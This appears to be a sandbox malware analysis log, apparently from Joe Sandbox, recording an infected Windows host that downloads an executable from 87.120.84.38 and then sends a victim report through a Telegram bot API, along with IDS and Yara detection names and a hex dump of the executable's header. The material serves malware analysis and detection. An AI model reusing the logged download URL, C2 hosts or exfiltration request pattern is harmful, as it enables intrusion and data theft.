Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 87.120.84.38:80 -> 192.168.2.22:49161
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 87.120.84.38:80 -> 192.168.2.22:49161
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Wed, 30 Oct 2024 07:19:41 GMTContent-Type: application/x-msdos-programContent-Length: 787968Connection: keep-aliveLast-Modified: Tue, 29 Oct 2024 06:19:00 GMTETag: "c0600-625978f9ea95d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 32 60 00 a3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 fc 0b 00 00 08 00 00 00 00 00 00 2a 1a 0c 00 00 20 00 00 00 20 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0c 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 19 0c 00 4f 00 00 00 00 20 0c 00 a4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0c 00 0c 00 00 00 00 f7 0b 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 30 fa 0b 00 00 20 00 00 00 fc 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a4 05 00 00 00 20 0c 00 00 06 00 00 00 fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0c 00 00 02 00 00 00 04 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 1a 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 75 00 00 90 69 00 00 03 00 00 00 5e 00 00 06 40 df 00 00 c0 17 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1d 00 00 00 00 00 00 00 02 28 1d 00 00 0a 00 00 00 02 28 06 00 00 06 7d 01 00 00 04 00 de 05 26 00 00 de 00 2a 00 00 00 01 10 00 00 00 00 08 00 0f 17 00 05 12 00 00 01 13 30 01 00 0c 00 00 00 01 00 00 11 00 02 7b 01 00 00 04 0a 2b 00 06 2a 1b 30 02 00 25 00 00 00 02 00 00 11 00 00 02 7b 01 00 00 04 03 6f 1e 00 00 0a 28 07 00 00 06 0a de 0d 26 00 72 01 00 00 70 73 1f 00 00 0a 7a 06 2a 00 00 00 01 10 00 00 00 00 01 00 15 16 00 0d 12 00 00 01 1b 30 02 00 29 00 00 00 03 00 00 11 00 00 03 04 28 09 00 00 06 0a 06 2c 0d 00 02 28 06 00 00 06 7d 01 00 00 04 00 02 7b 01 00 00 04 0b de 04 26 00 fe 1a 07 2a 00 00 00 01 10 00 00 00 00 01 00 22 23 00 04 12 00 00 01 1b 30 03 00 45 00 00 00 03 00 00 11 00 00 02 7b 01 00 00 04 05 03 6f 20 00 00 0a 00 05 04 02 7b 01 00 00 04 28 08 00 00 06 0a 06 2c 15 00 02 28 06 00 00 06 7d 01 00 00 04 02 7b 01 00 00 04 0b de 0d 02 7b 01 00 00 04 0b de 04 26 00 fe 1a 07 2a 00 00 00 01 10 00 00 00 00 01 00 3e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20and%20Time:%2010/30/2024%20/%2010:40:52%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20960781%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: SHARCOM-ASBG SHARCOM-ASBG
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49165 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49167 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49162 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49168 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49170 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49179 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49172 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49164 -> 188.114.96.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/qHbynE8Vgwabsy3.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{EA9386F2-5C34-4EE8-9432-0E98A6485B50}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
